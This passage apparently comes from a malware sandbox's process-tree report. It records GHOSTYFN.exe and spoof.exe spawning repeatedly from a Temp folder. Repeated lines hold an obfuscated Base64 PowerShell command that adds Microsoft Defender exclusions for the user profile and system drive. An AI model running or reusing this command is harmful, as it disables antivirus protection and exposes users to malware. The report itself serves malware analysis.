        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        179⤵
        
        PID:4596
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        179⤵
        
        PID:7868
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        180⤵
        
        PID:3236
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        180⤵
        
        PID:6336
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        181⤵
        
        PID:5996
        
        C:\Windows\SysWOW64\wermgr.exe
        
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5996" "1900" "1840" "1904" "0" "0" "1908" "0" "0" "0" "0" "0"
        182⤵
        
        PID:540
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        181⤵
        
        PID:5572
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        182⤵
        
        PID:5976
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        182⤵
        
        PID:6232
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        183⤵
        
        PID:6088
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        183⤵
        
        PID:2160
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        184⤵
        
        PID:5316
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        184⤵
        
        PID:10212
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        185⤵
        
        PID:5548
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        185⤵
        
        PID:2172
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        186⤵
        
        PID:216
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        186⤵
        
        PID:9196
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        187⤵
        
        PID:8404
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        187⤵
        
        PID:4316
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        188⤵
        
        PID:8292
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        188⤵
        
        PID:2564
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        189⤵
        
        PID:5396
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        189⤵
        
        PID:5808
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        190⤵
        
        PID:6776
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        190⤵
        
        PID:7096
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        190⤵
        
        PID:10064
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        189⤵
        
        PID:1980
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        188⤵
        
        PID:9332
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        187⤵
        
        PID:7948
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        186⤵
        
        PID:8556
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        185⤵
        
        PID:5816
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        184⤵
        
        PID:9988
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        183⤵
        
        PID:8276
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        182⤵
        
        PID:6344
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        181⤵
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        180⤵
        
        PID:5552
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        179⤵
        
        PID:9200
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        178⤵
        
        PID:10220
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        177⤵
        
        PID:1200
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        176⤵
        
        PID:6472
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        175⤵
        
        PID:5992
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        174⤵
        
        PID:10096
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        173⤵
        
        PID:1900
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        172⤵
        
        PID:2660
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        171⤵
        
        PID:10160
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        170⤵
        
        PID:5192
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        169⤵
        
        PID:1652
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        168⤵
        
        PID:10080
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        167⤵
        
        PID:8452
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        166⤵
        
        PID:7972
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        165⤵
        
        PID:8196
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        164⤵
        
        PID:8992
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        163⤵
        
        PID:9740
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        162⤵
        
        PID:7764
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        161⤵
        
        PID:7532
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        160⤵
        
        PID:7100
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        159⤵
        
        PID:8520
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        158⤵
        
        PID:8756
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        157⤵
        
        PID:6836
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        156⤵
        
        PID:8792
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        155⤵
        
        PID:7832
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        154⤵
        
        PID:1952
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        153⤵
        
        PID:8308
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        152⤵
        
        PID:8792
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        151⤵
        
        PID:5240
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        150⤵
        
        PID:9116
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        149⤵
        
        PID:9192
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        148⤵
        
        PID:6296
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        147⤵
        
        PID:7348
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        146⤵
        
        PID:8812
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        145⤵
        
        PID:5940
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        144⤵
        
        PID:6136
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        143⤵
        
        PID:8680
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        142⤵
        
        PID:2792
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        141⤵
        
        PID:8800
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        140⤵
        
        PID:7892
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        139⤵
        
        PID:7376
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        138⤵
        
        PID:7932
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        137⤵
        
        PID:6748
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        136⤵
        
        PID:10208
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        135⤵
        
        PID:6304
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        134⤵
        
        PID:9460
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        133⤵
        
        PID:4588
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        132⤵
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        131⤵
        
        PID:3076
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        130⤵
        
        PID:10208
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        129⤵
        
        PID:8132
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        128⤵
        
        PID:188
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        127⤵
        
        PID:6172
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        126⤵
        
        PID:1788
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        125⤵
        
        PID:6576
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        124⤵
        
        PID:3076
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        123⤵
        
        PID:10188
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        122⤵
        
        PID:6356
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        121⤵
        
        PID:1188
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        120⤵
        
        PID:5984
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        119⤵
        
        PID:5368
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        118⤵
        
        PID:3320
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        117⤵
        
        PID:5804
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        116⤵
        
        PID:4564
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        115⤵
        
        PID:10184
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        114⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        113⤵
        
        PID:8652
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        112⤵
        
        PID:9580
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        111⤵
        
        PID:9888
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        110⤵
        
        PID:8924
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        109⤵
        
        PID:9688
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        108⤵
        
        PID:9028
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        107⤵
        
        PID:9148
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        106⤵
        
        PID:9760
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        105⤵
        
        PID:6328
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        104⤵
        
        PID:9992
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        103⤵
        
        PID:1128
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        102⤵
        
        PID:9504
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        101⤵
        
        PID:10164
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        100⤵
        
        PID:1160
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        99⤵
        
        PID:8368
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        98⤵
        
        PID:9152
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        97⤵
        
        PID:5348
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        96⤵
        
        PID:8768
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        95⤵
        
        PID:5668
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        94⤵
        
        PID:6848
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        93⤵
        
        PID:3196
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        92⤵
        
        PID:7992
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        91⤵
        
        PID:7316
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        90⤵
        
        PID:8408
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        89⤵
        
        PID:7544
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        88⤵
        
        PID:7472
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        87⤵
        
        PID:8732
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        86⤵
        
        PID:1924
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        85⤵
        
        PID:6628
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        84⤵
        
        PID:7020
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        83⤵
        
        PID:7204
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        82⤵
        
        PID:4188
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        81⤵
        
        PID:6468
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        80⤵
        
        PID:6688
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        79⤵
        
        PID:6076
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        78⤵
        
        PID:7028
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        77⤵
        
        PID:6348
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        76⤵
        
        PID:2776
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        75⤵
        
        PID:6192
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        74⤵
        
        PID:8632
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        73⤵
        
        PID:756
        
        C:\Users\Admin\AppData\Local\Temp\spoof.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spoof.exe"
        72⤵
        
        PID:784
        
